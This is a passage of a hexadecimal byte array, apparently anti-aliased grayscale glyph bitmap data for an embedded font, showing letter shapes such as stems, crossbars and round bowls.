0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E,
0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF,
0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x69, 0xFF, 0xFF,
0xFF, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x7D, 0xFF, 0xC7, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0xFC, 0xFF, 0x7D, 0x31, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE1, 0xFF, 0xFF, 0xFF,
0xFF, 0xC8, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x6F, 0x7C, 0x8C, 0xF5, 0xFF, 0xFF, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA3, 0xFF, 0xFF, 0x82, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0x90, 0x5F, 0x77, 0xF2, 0xFF,
0xFF, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0xFE,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xAB, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x28, 0x6E, 0x92, 0xA2, 0x85, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x09, 0x23, 0x23, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68,
0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x02, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x68, 0xFF, 0xFF, 0xFF, 0x02, 0x00, 0x00, 0x00, 0x00, 0x1F, 0x2C, 0x87, 0xFF, 0xFF, 0xFF, 0x2E,
0x2C, 0x20, 0x00, 0x00, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD8, 0x00, 0x00, 0xD0,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD8, 0x00, 0x00, 0x84, 0xA8, 0xD1, 0xFF, 0xFF, 0xFF,
0xAA, 0xA8, 0x8A, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x02, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF,
0xFF, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF,
0xFF, 0xFF, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68,
0xFF, 0xFF, 0xFF, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x02, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5D, 0xFF, 0xFF, 0xFF, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xF1,
0xC1, 0x96, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDA, 0xFF, 0xFF, 0xFF, 0xFF, 0xD8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x4E, 0xF0, 0xFF, 0xFF, 0xFF, 0xD9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xB5,
0xFF, 0xF9, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0xFE, 0xFF, 0x6C, 0x16, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0A, 0xE7, 0xFF, 0xFF, 0xFF, 0xFC, 0x9B, 0x00, 0x00, 0x00, 0x00, 0x02, 0x94,
0x8C, 0xA9, 0xFE, 0xFF, 0xFE, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xFF,
0x68, 0x00, 0x00, 0x00, 0x97, 0x73, 0x48, 0x6C, 0xF3, 0xFF, 0xFF, 0x3D, 0x00, 0x00, 0x30, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA8, 0x00, 0x00, 0x00, 0x04, 0x46, 0x88, 0xAB, 0xB6, 0x97, 0x52,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0x63, 0x63, 0x3F, 0x00, 0x00, 0x00, 0x36, 0x63,
0x63, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0xFE, 0xFF, 0xF6,
0x29, 0x00, 0x1B, 0xEE, 0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xCD, 0x07, 0xBC, 0xFF, 0xFF, 0xA5, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xD2, 0xFF, 0xFF, 0xDE, 0xFF, 0xFF, 0xE1, 0x0F,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2D, 0xF8, 0xFF,
0xFF, 0xFF, 0xFD, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x69, 0xCD, 0xCD, 0xCD, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x7D, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8,
0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0x66, 0xA6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x88, 0xA6,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x88, 0x51, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0xBE, 0xFF, 0xFF, 0xFF,
0xB0, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E,
0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF,
0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF,
0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF,
0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x51,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x6E, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x69, 0xFF, 0xFF, 0xFF, 0x4C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x1A, 0x1A, 0x1A, 0x08, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7A, 0xFF, 0xFF, 0xFF, 0x76, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x7B, 0xFF, 0xFF, 0xFF, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x7B, 0xFF, 0xFF, 0xFF, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6B, 0xE9,
0xF8, 0xFF, 0x73, 0x00, 0x00, 0x09, 0x23, 0x23, 0x1F, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF, 0x45,
0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00, 0x0B, 0xEC, 0xFC, 0x0D, 0x00, 0x00, 0x68,
0xFF, 0xFF, 0xFF, 0x02, 0x00, 0x11, 0xA1, 0xFF, 0xCF, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF,
0x02, 0x00, 0x7B, 0xFF, 0xF5, 0x48, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x02, 0x00, 0x6B,
0xC9, 0x38, 0x00, 0x00, 0x1F, 0x2C, 0x87, 0xFF, 0xFF, 0xFF, 0x2E, 0x2C, 0x20, 0x00, 0x00, 0x00,
0x00, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD8, 0x00, 0x00, 0x00, 0x00, 0xD0, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD8, 0x00, 0x00, 0x00, 0x00, 0x84, 0xA8, 0xD1, 0xFF, 0xFF,
0xFF, 0xAA, 0xA8, 0x8A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x02, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x02, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF,
0xFF, 0xFF, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x02,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68,
0xFF, 0xFF, 0xFF, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF,
0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5D, 0xFF, 0xFF, 0xFF, 0x53, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xF1, 0xC1, 0x96, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xDA, 0xFF, 0xFF, 0xFF, 0xFF, 0xD8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x4E, 0xF0, 0xFF, 0xFF, 0xFF, 0xD8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08,
0x2D, 0x3C, 0x3A, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x16, 0x93, 0xBD, 0xB9, 0x6E, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x16, 0xE6, 0xFF, 0xFF, 0xFF, 0xFF, 0xAA, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0xFF, 0xBC, 0x31, 0x50, 0xE8, 0xFF,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC6, 0xFF,
0x31, 0x00, 0x00, 0x86, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xBB, 0xFF, 0x4E, 0x00, 0x00, 0xA0, 0xFF, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x71, 0xFF, 0xE6, 0x8B, 0x9D, 0xFA, 0xF9, 0x26,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xB0, 0xFF,
0xFF, 0xFF, 0xFA, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x46, 0x7A, 0x6D, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x46, 0xC8, 0xC8, 0xC8, 0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x63, 0xC8, 0xC8, 0xC8, 0x28, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60,
0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85,
0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF,
0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF,
0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF,
0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF,
0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x60, 0xFF, 0xFF, 0xFF,
0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF,
0x3A, 0x60, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x3A, 0x5B, 0xFF, 0xFF, 0xFF, 0x5F, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x35, 0x48, 0xFF, 0xFF, 0xFF, 0x66,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0xFF, 0xFF, 0xFF, 0x22,
0x35, 0xFF, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9F, 0xFF, 0xFF, 0xFF, 0x0F, 0x21, 0xFF, 0xFF, 0xFF, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF, 0xFF, 0xFB, 0x00, 0x08, 0xF6, 0xFF, 0xFF, 0xE6, 0x03,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0xF5, 0xFF, 0xFF, 0xD9, 0x00, 0x00,
0xB2, 0xFF, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6C, 0xFF,
0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0xF1, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x5D, 0xFD, 0xFF, 0xFF, 0xFF, 0x3D, 0x00, 0x00, 0x10, 0xE6, 0xFF, 0xFF, 0xFF, 0xF0,
0x50, 0x0E, 0x00, 0x00, 0x01, 0x27, 0x76, 0xFD, 0xFF, 0xFF, 0xFF, 0xCD, 0x03, 0x00, 0x00, 0x00,
0x47, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0xD3, 0xC2, 0xF1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF6,
0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xF6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xEB, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2D, 0xB4, 0xFB, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0xA4, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x14, 0x5D, 0x7A, 0x93, 0xA3, 0x8F, 0x77, 0x54, 0x0B, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0x89, 0xA3, 0x8B, 0x28, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0xF5, 0xFF, 0xFF, 0xFF, 0xF7, 0x45, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0xFF, 0xA1, 0x47, 0x9A, 0xFF, 0xE2, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xFF, 0xE8, 0x04, 0x00, 0x01, 0xDF, 0xFF, 0x1F, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xFF, 0xEA, 0x06, 0x00, 0x03, 0xE3, 0xFF, 0x1D, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD2, 0xFF, 0xAD, 0x5A, 0xA7, 0xFF, 0xDC, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0xEF, 0xFF, 0xFF, 0xFF, 0xF1, 0x3C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x2A, 0x2C, 0x2C, 0x0B, 0x00, 0x1C, 0x7B, 0x9E, 0x7C, 0x1F, 0x00, 0x1C, 0x2C,
0x2C, 0x17, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0xFF,
0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF,
0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF,
0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF,
0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF,
0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF,
0xFF, 0xA2, 0x12, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF,
